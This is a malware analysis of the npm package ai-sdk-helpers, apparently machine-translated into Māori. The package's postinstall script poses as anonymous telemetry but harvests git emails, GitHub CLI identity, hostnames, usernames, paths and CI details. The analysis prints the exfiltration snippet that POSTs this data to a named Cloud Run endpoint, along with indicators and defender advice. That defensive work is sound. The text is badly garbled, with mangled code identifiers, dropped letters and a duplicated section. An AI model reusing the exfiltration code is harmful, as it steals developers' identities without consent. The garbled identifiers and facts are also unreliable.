TL; DR
He mōkihi npm kotahi, ngā kaiawhina-ai-sdk, e whakaatu ana i a ia anō hei kete taputapu whakaputa mō te Vercel AI SDK, e tuku ana i te aroturuki utu, te tautoko kaiwhakarato, me ngā āwhina roma.
Ka tuwhera te tuhinga wā tāutanga me te haki whakaaturanga kua orohia e whakaahua ana tātaritanga ingoakore, me te oati kāore he waehere pūtake, he tohu, he tohu tuakiri rānei e tukuna ana, e whakahonore ana i te DO_NOT_TRACK te kōwhiri kia kaua e whakamahia, me te hono atu ki tētahi whārangi kaupapa here telemetry.
Kātahi ka pānuihia e te tuhinga kotahi te tuakiri git a te kaiwhakawhanake, te whirihoranga GitHub CLI, te ingoa kaihautū mīhini, te ingoa kaiwhakamahi OS, te whaiaronga mahi, me te kaiwhakarato CI.
Ka TUKUna taua raraunga hei JSON ki tētahi pito o Google Cloud Run, ka puta he rerekētanga mārama i waenga i te kaupapa here telemetry kua whakahuatia me ngā āpure tuturu i kohia.
I whakaputaina te mōkihi i roto i ngā putanga e rua tekau mā rua i roto i te pakū kotahi 83-hēkona te roa, ā, he ōrite te hōtuhi tāutanga puta noa i ia putanga kua tohua.
E whitu o ngā putanga e waru i arotakehia e tā mātou pipeline kāore i whakatauhia e te kaiwhakarōpū ML nā te mea ko te momo kāhua haki whakaae he rite ki te telemetry tika.
Ka whakarōpūhia e mātou ai-sdk-helpers he kino i runga i te kohikohinga tuakiri kaiwhakawhanake i te wā tāutanga me te tango i te raraunga.
Te kaha: teitei.
Te hanganga o te tāutanga
{
"scripts": {
"postinstall": "node scripts/postinstall.js"
}
}i muri i te tāutanga ka rere aunoa i te npm tāuta, i mua i te kawemaitanga o tētahi o ngā waehere kua pānuitia o te mōkihi. Ko te tuhinga ngā tuhinga/postinstall.js koinei te wāhi e noho ana ngā whanonga katoa i te wā tāutanga.
Ka tuwhera me te poraka kōrero me te pānui wā-oma kua tuhia ki te rēhita o tētahi kaupapa pūtake tuwhera e aro ana ki te tūmataitinga:
>Ina tāuta koe i te ai-sdk-helpers, ka whakahaerehia e mātou he tirotiro hototahi taiao tere, ā, ka ripoatahia ngā tātaritanga ingoamuna… He ingoamuna katoa ngā raraunga — ka kohia e mātou tō pūhara, te putanga Node, me te hash kotahi-ara o tō tohu mīhini. Kāore he waehere pūtake, he tohu, he tohu tuakiri rānei e tukuna ana.
Ka honoa anō hoki e ia tētahi kuaha whakaputa-kore e mahi ana, ko te waehere whakahaere tuatahi tēnei i roto i te kōnae:
if (
process.env.AI_SDK_HELPERS_TELEMETRY_DISABLED === "1" ||
process.env.DO_NOT_TRACK === "1"
) {
process.exit(0);
}ko te here i tēnei kēti i te tuatahi ka puta ko te toenga he mea whakaae: he kaiwhakawhanake e whakatakoto ana `D_KĀORE_E_ARA Ka oti te tāutanga i te wā poto, ā, ka mutu, ka whakahonoretia e te mōkihi te tikanga. He tūturu te kōwhiringa-kore whakahonoretia. Ko te mea e whakawāteahia ana, mō te hunga katoa kāore i te whakatakoto, ko te kohinga e whakaahuatia ana i raro nei - ehara i te "pūhara, putanga Node, me te hash kotahi-ara" whaiti e whakahuatia ana e te pānui.
I raro i taua kuaha, ka kohikohi te tuhinga i tētahi kawenga e nui atu ana i taua whakaahuatanga.
- *Gtuakiri.* rwhakaotiScmTuakiri()` ngā upoko `~.gitconfig`,`~.config/git/config`,me te kaupapa o nāianei `.whirihoranga`,ka tātari i te `[ser]` wāhanga, ā, ka whakahokia mai te mea kua whirihorahia commit īmēra. Ki te kore he kōnae whirihora e puta he īmēra, ka hoki anō ki te `GT_AUTHOR_EMAIL`,`GT_COMMITTER_Ī-MĒRA`,me `EAIL` ngā taurangi taiao. Ka whakatakotoria te pānui e te tuhinga i runga ake i te mahi hei huarahi "ki te tango i ngā tāutanga tāruarua puta noa i ngā mīhini nō te tangata kotahi (hei tauira, pona + CI)" - he kaupapa kua whakaritea e hiahia ana ki tētahi tohu tautuhi pumau mō ia kaiwhakawhanake, e commit ngā taonga īmēra.
- *Gpūkete tHub.* rwhakaotiGitHubIdentity()` ngā upoko `~.config/gh/hosts.yml` me te `~.config/gh/hosts.yaml` te kōnae whirihoranga i tuhia e te GitHub CLI ina whakamanahia e te kaiwhakawhanake — ā, ka tangohia e te regex te `uāe:` me temate ngā mara. Ka rongoa hoki taua kōnae i te tohu GitHub OAuth; ka aro te regex o te tuhinga ki te ingoa kaiwhakamahi me ngā rārangi īmēra, ā, kāore e tangohia te tohu. Nō reira, he pono te kereme "kāore he tohu... e tukuna ana" o te haki whakaaturanga mō taua mara kotahi i te wā e pānuitia ana, e tukuna ana hoki ngā tohu pūkete huri noa.
- *Htapumati st me CI.* kātahi ka kohia e te tuhinga.ingoahautū()`,`o.userInfo().ingoa kaiwhakamahi`,te putanga Node, te tūāpapa me te hoahoanga, `ptukanga.cwd()`,me te tapanga kaiwhakarato CI i whakatauhia mā te tirotiro i ngā taurangi taiao mō ngā kaiwhakarato e waru (GitHub Actions, GitLab CI, Jenkins, CircleCI, Travis, Buildkite, me ngā haki CI whānui e rua). Ko te rārangi kaiwhakarato he rārangi o ngā wāhi e tumanakohia ana e te tuhinga kia whakahaerehia — ngā anga taunekeneke me te hanga aunoa pipelines rite.
Kua whakarōpūhia ēnei katoa ki roto i te kotahi `dte hunga whakateka kaupapa, me ngā āpure mō ia kaiwhakawhanake i kohia i raro i te `ihinonga ey me ngā raraunga manaaki i raro i te `rwā me te `cntext` eys, kātahi ka raupapahia, ka tukuna:
const req = https.request(
{
hostname: "npm-package-logger-228835561205.europe-west1.run.app",
path: "/",
method: "POST",
headers: { "Content-Type": "application/json" },
timeout: 5000,
},
() => {}
);
req.on("error", () => {});
req.write(body);
req.end();Ka makahia te whakautu, ā, ka horomia ngā hapa katoa — e kī ana tētahi kōrero "kaua rawa te telemetry e pakaru i te tāutanga." Ka whakakōwaea e te ingoa tūmau pito he ratonga Google Cloud Run i roto i te `etaura-uru1` rohe
Ko te āputa ko te kōrero. E toru ngā kāwai raraunga e whakahuatia ana i roto i te haki — te tūāpapa, te putanga Pūnga, te hash tautuhi-mīhini. Ka tukuna e te kawenga te git tūturu a te kaiwhakawhanake. commit īmēra, tō rātou ingoa kaiwhakamahi GitHub me te īmēra, tō rātou ingoa manaaki mīhini me te ingoa pūkete OS, tō rātou ara kaupapa, me tō rātou taiao CI. Ko ngā āpure e tohu ana i te *prson me ā rātou pūkete* mō ngā āpure tonu i mahue i te whakaaturanga.
Ka whakapakari te README i te anga mai i tērā taha. Ko tana wāhanga "Telemetry" e whakahoki ana i te kereme huna me te hono i te kupu `D_KĀORE_E_ARA o `cnsoledonottrack.com`,te whārangi hapori tūturu e tuhi ana i te tikanga kōwhiri-kore — te tango i tētahi tūmataitinga kua whakamanahia standard kia pānuitia te pānui kia rite ki te tikanga o ia rā.
Rārangi Wā
He kitenga kotahi tēnei, he poto rawa te hītori whakaputanga, he matotoru hoki. Kāore he pakanga maha-wiki hei whai — i tere te tere o te mīhini ki te whai i te whānuitanga putanga katoa.
| Āhea (UTC) | takahanga |
|---|---|
| 2026-06-03 20:31:20 | Putanga tuatahi (0.1.0) i whakaputaina ki te npm. |
| 2026-06-03 20:31:20 – 20:32:43 | Ngā putanga 22 katoa (0.1.0 i roto i 1.4.2) i whakaputaina i roto i te pahūtanga aunoa 83-hekona te roa. |
| 2026-06-04 | E waru ngā putanga i tohua e ngā tohu kitenga; e whakaū ana te tātari ā-ringa i te kohikohinga tuakiri me te tangohanga i te wā tāutanga. I noho ora tonu te mōkihi i runga i te npm i te wā o te tātari. |
Ko te matapihi 83-hēkona puta noa i ngā putanga tikanga 22 he tohu whanonga anō hoki: ko te arawhata putanga (`01.0`,`01.1`,… `14.2`)ka whakaatuhia te mata o tētahi kaupapa e tiakina ana me tētahi hītori tukunga, i whakaputaina i roto i te oma kotahi kua tuhia. Kāore te tuhinga tāuta e rerekē puta noa i taua arawhata — tirohia i raro.
Ngā tohu o te whakaae tahi
He ōrite te kawenga wā tāuta puta noa i te awhe putanga kua whakaputaina. He `dff` ngā fripts/postinstall.js` i waenganui i te putanga `02.1` putanga `14.2` kāore he rerekētanga e whakahokia mai ana; he tohu tapumati pumau kotahi te whanonga, ehara i te kawenga e whanake haere ana.
whatunga
Ko te matapihi 83-hēkona puta noa i ngā putanga tikanga 22 he tohu whanonga anō hoki: ko te arawhata putanga (`01.0`,`01.1`,… `14.2`)ka whakaatuhia te mata o tētahi kaupapa e tiakina ana me tētahi hītori tukunga, i whakaputaina i roto i te oma kotahi kua tuhia. Kāore te tuhinga tāuta e rerekē puta noa i taua arawhata — tirohia i raro.
Ngā tohu o te whakaae tahi
He ōrite te kawenga wā tāuta puta noa i te awhe putanga kua whakaputaina. He `dff` ngā fripts/postinstall.js` i waenganui i te putanga `02.1` putanga `14.2` kāore he rerekētanga e whakahokia mai ana; he tohu tapumati pumau kotahi te whanonga, ehara i te kawenga e whanake haere ana.
whatunga
| tohu | tūnga |
|---|---|
npm-package-logger-228835561205.europe-west1.run.app | Te pūwāhi whakapūtātanga exfiltration e whiwhi ana i ngā tono HTTPS POST me ngā utunga JSON. Kei te manaakihia i runga i te Google Cloud Run i roto i te europe-west1 rohe. |
Hanganga maminga
| tohu | tūnga |
|---|---|
ai-sdk.guide | Whārangi kāinga mōkihi me te pae ora e tautoko ana i te tuakiri kaituhi "AI SDK Guide". |
ai-sdk.guide/telemetry | Ko te URL kaupapa here telemetry i tohua i roto i te pānui whakaaturanga wā tāutanga. |
hello@ai-sdk.guide | Īmēra kaituhi i whakapuakina i roto i package.json. |
github.com/ai-sdk-guide/ai-sdk-helpers | Te putunga pūtake i whakapuakina e te mōkihi. |
Ngā kōnae i pānuihia i te wā tāutanga
- -.gitconfig`,`~.config/git/config`,`<wd>/.git/config` git `[ser]` īmēra
- - .config/gh/hosts.yml`,`~.config/gh/hosts.yaml` GitHub CLI `uāe `emate
Ngā waitohu whanonga
- – m `ptāuta me te karanga i tētahi tuhinga Node kua whakaemihia
- – te keti kōwhiringa-kore (`A_SDK_HELPERS_TELEMETRY_DISABLED`,`D_KĀORE_E_ARAHI`)i whakaatuhia hei āhuatanga tūmataiti, i mua i te kohikohi tuakiri
- – tbound HTTPS POST o tētahi mea JSON kei roto ko te īmēra git, te tuakiri GitHub, te ingoa manaaki, te ingoa kaiwhakamahi OS, te cwd, me te tapanga CI
- – he tuhinga tāutanga ōrite puta noa i tētahi arawhata putanga tere te whakaputa
Te Whakawhiwhinga me te Whēkenga i Mātakihia
Kāore mātou e kī ana i tua atu i ngā mea e tuhia ana e te mōkihi me te rēhita.
Ko te kaitiaki rekoata npm ko te pūkete `aielsimon`,me te wāhitau `aiel@vigilance.security`.E whakarārangihia ana taua īmēra e te rēhita he īmēra kāore anō kia manatokohia, ā, ko te tuakiri mana-pūtake o te pūkete he pūkete kāore anō kia manatokohia. Ko te `pckage.json`,motuhake, e whakaatu ana i te kaituhi hei "AI SDK Guide`ello@ai-sdk.guide>`”me te whārangi kāinga o `a-sdk.aratohu` me te putunga pūtake i raro i te `gwhakahaere thub.com/ai-sdk-guide`. Ko te rohe īmēra o te pūkete whakaputa (`vigilance.security`)me te tuakiri kaituhi i roto i te kete (`a-sdk.aratohu`)he rohe rerekē.
Te `a-sdk.aratohu` kei te ora te ite, ā, ka whakautu, ā, ko te `/ine ira Ka whakatauhia e ath — ka tautokona te tuakiri maminga e te aroaro tukutuku e taea te toro atu, kaua ki te hononga mate, e whakapiki ana i te whakapono o te anga o te mōkihi.
**Te āheinga kua tirohia.** I te wā tāutanga, ka pānuihia e te mōkihi te tuakiri kaiwhakawhanake me ngā kōnae whirihoranga pūkete, ka hopu i ngā tapumati o te taiao manaaki me te CI, ā, ka tukuna te hua ki tētahi pito mutunga e whakahaerehia ana e te kaiwhakahaere, me te whakaatu i tētahi pānui e whakaahua ana i tētahi huinga raraunga whaiti ake, huna hoki. Ka whakaahuahia e mātou tēnei whanonga; kāore mātou e kī he take mōna. Me paunatia e ngā kaipānui e arotake ana i te mōkihi — tae atu ki tētahi rōpū e mōhio ana ki te tuakiri whakaputa — te kore taurite e kitea ana i waenga i ngā rerenga raraunga kua whakahuatia me ngā rerenga raraunga tuturu.
Ngā pānga, ngā au, me ngā aratohu mō ngā kaiwawao
Ko wai e whakaatuhia ana. Te tangata e tāuta ana ngā kaiawhina-ai-sdk — tika, hei whakawhirinakitanga whakawhiti rānei — ka whakahaerehia te kohinga i runga i taua mīhini. Nā te mea ko te whakaoho i muri i te tāutanga, kāore e hiahiatia kia kawemaihia te waehere whare pukapuka kua pānuitia kia puta ai te rere o ngā raraunga; he rawaka noa te tāutanga. Ko ngā taiao tino uara ko ngā teihana mahi kaiwhakawhanake me te tuakiri git kua whirihorahia me te GitHub CLI kua manatokohia, me ngā kaiwhakahaere CI, e tohu ana te kitenga kaiwhakarato CI a te tuhinga ka tumanakohia kia rere te kohinga i roto i te hanganga. pipelineme ngā rorohiko pona hoki.
Ngā mea e whakakitea ana. Ehara i te mea ngaro o te tono i te nuinga o te wā — ko te kawenga e aro ana ki tuakiri: ā te kaiwhakawhanake commit īmēra, te ingoa o tā rātou pūkete GitHub me te īmēra, te mīhini me ngā ingoa o te pūkete, me te ara kaupapa. He whakaritenga mua tēnācishe mahere mō te hunga i tāuta i te mōkihi, ki runga i tēhea mīhini, ki roto i tēhea putunga raraunga, ā, i raro i tēhea pūnaha CI. Mō tētahi whakahaere, mā te whakamahi i ēnei momo tuhinga ka whakarārangihia ko ēhea ngā kaihanga me ēhea ngā pūnaha hanga i tango i te whakawhirinakitanga — he mea whai hua hei tohu mō ngā mahi whai muri ake nei, ahakoa ko te whanonga o tēnei mōkihi ka mutu i te kohikohi me te tuku.
Ko te ia o te ao: te ine waea hei taupoki. Ka kohia e ngā taputapu kaiwhakawhanake tika ngā tātaritanga tāutanga ingoakore, me ngā tikanga mō te mahi i tēnei me te whakaute — he pānui whakaaturanga, he KAUA_E_AROA e mōhiotia whānuitia ana a honore, he haki kōwhiri-kore, he URL kaupapa here. ngā kaiawhina-ai-sdk ka tāruatia ponotia aua tikanga e whā, ā, ka whakamahia hei takai mō te kohikohi tuakiri. Ko te aroaro o tētahi haki whakaae, he tohu whakakore mahi, he hononga kaupapa here tūmataiti rānei, ehara i te tohu pono he mōkihi; he iti te utu ki te whakatauira i aua mana whakahaere. Ko te tirotiro pono anake ko te mea e pānuihia ana e te waehere me te wāhi e tukuna ana.
He pānga ine anō hoki tō tēnei takai ki te aromatawai aunoa. Mō ngā putanga katoa, ā mātou pipeline i arotakehia, ko ngā kōrero reo māmā o te tuhinga tāutanga, ngā ingoa āpure hanganga, me te kuaha kōwhiringa-kore tikanga i tohua hei telemetry noa: e whitu o te waru i hoki mai kore mai i te kaiwhakarōpū ML kaua ki te kino. Kāore te tohu e whakatau ana i te koretake i roto i te tuhinga — kei roto i ngā kōnae motuhake e whakatuwheratia ana e te tuhinga (~/.gitconfig, ~/.config/gh/hosts.yml) me te ūnga e tukuna atu ana. Ko te kaiarotake, he aunoa, he tangata rānei, e pānui ana i te whakakitenga ka mutu ki reira ka tae ki te whakatau hē; me ahu mai te whakatau i ngā meka rere raraunga.
He aratohu mō ngā kaiwawao:
- Tāuta me ngā hōtuhi kua monoa i te taunoa — tāuta npm –whakakore-hōtuhi, whakatakotoria rānei wareware-hōtuhi=pono in .npmrc ā, ka whakahaere i ngā mahi hanga kua tirotirohia kia mārama. Ka whakakorea e tēnei i muri i te tāutanga-he kohinga i whakaohohia puta noa i te poari.
- Kaua e whakaarohia ngā mana whakakore hei tohu whakawhirinaki. KAUA_E_AROA Kāore he kōrero a te tirotiro, te hononga "kaupapa here waea" rānei mō ngā raraunga ka kohia e te hōtuhi ina kore te kēti e whakatakotoria.
- Pānuihia te matau tāuta i mua i te tango i ngā mōkihi āwhina pūnaha AI. Ko te wāhi Vercel AI SDK he ūnga tere neke, he tino whakawhirinaki; he i muri i te tāutanga e pā ana ~/.gitconfig or ~/.config/gh/ he tohu mārama ahakoa te āhua o te tuhi o ngā kōrero e karapoti ana.
- Aroturuki i te putanga i te wā hanga. He HTTPS POST puta atu i te wā npm tāuta, inā koa ki tētahi pito mahi kapua kua whakaratohia houtia, ka kitea i te paparanga whatunga, ā, he pūwāhi kitea kaha mō ngā taiao CI.
- Kia mataara ki ngā arawhata putanga kua kōpeketia. Kei te whakaatuhia e te mōkihi tōna hītori putanga tikanga katoa i roto i ngā hēkona, me te hōtuhi tāutanga kāore e rerekē, he hītori tiaki hangahanga.
